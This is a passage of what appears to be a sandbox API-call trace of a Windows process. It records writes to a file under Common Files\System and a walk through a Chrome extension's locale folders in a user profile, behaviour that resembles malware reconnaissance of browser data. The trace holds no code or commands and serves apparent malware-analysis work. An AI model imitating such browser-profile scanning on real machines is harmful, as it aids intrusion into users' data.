lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.791] GetFileType (hFile=0x194) returned 0x1 [0145.791] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.791] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.792] GetLastError () returned 0x12 [0145.792] AreFileApisANSI () returned 1 [0145.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.792] GetFileType (hFile=0x194) returned 0x1 [0145.792] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.792] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.792] GetLastError () returned 0x12 [0145.792] AreFileApisANSI () returned 1 [0145.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.792] GetFileType (hFile=0x194) returned 0x1 [0145.793] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.793] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.793] GetLastError () returned 0x12 [0145.793] AreFileApisANSI () returned 1 [0145.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.793] GetFileType (hFile=0x194) returned 0x1 [0145.793] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.794] AreFileApisANSI () returned 1 [0145.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.794] GetFileType (hFile=0x194) returned 0x1 [0145.794] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.795] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.795] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.795] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.796] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.796] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.797] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.797] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.797] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.798] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.798] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.798] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.799] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.813] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.814] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.814] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.814] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.815] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.815] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.815] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.816] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.816] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.817] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.817] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, 